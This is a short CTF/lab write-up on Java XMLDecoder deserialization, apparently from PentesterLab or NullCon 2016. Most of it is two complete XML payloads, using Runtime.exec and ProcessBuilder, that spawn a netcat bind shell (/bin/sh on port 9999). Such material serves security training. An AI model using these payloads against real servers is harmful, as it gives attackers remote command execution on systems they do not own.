XMLDecoder

XMLDecoder Lab from PentesterLab or NullCon 2016 CTF

XMLDecoder is a Java class that creates objects based on an XML message. If a malicious user can get an application to use arbitrary data in a call to the method readObject, they will instantly gain code execution on the server.

XMLDecoder creates the serializes and creates an object. readObject deserializes the object.

For the Bind Shell java script, we can create an XML that uses the Java Runtime.exec() method that reads the command in array form.

Runtime run = Runtime.getRuntime();
String[] commands = new String[] {"/usr/bin/nc", "-l", "-p", "9999", "-e", "/bin/sh"};
run.exec(commands);

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
    <object class="java.lang.Runtime" method="getRuntime">
        <void method="exec">
            <array class="java.lang.String" length="6">
                <void index="0">
                    <string>/usr/bin/nc</string>
                </void>
                <void index="1">
                    <string>-l</string>
                </void>
                <void index="2">
                    <string>-p</string>
                </void>
                <void index="3">
                    <string>9999</string>
                </void>
                <void index="4">
                    <string>-e</string>
                </void>
                <void index="5">
                    <string>/bin/sh</string>
                </void>
            </array>
        </void>
    </object>
</java>

Process Builder

Instead of Runtime.exec(), we can also use the ProcessBuilder class in java to execute the command.

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="6">
            <void index="0">
                <string>/usr/bin/nc</string>
            </void>
            <void index="1">
                <string>-l</string>
            </void>
            <void index="2">
                <string>-p</string>
            </void>
            <void index="3">
                <string>9999</string>
            </void>
            <void index="4">
                <string>-e</string>
            </void>
            <void index="5">
                <string>/bin/sh</string>
            </void>
        </array>
        <void method="start" id="process"></void>
    </void>
</java>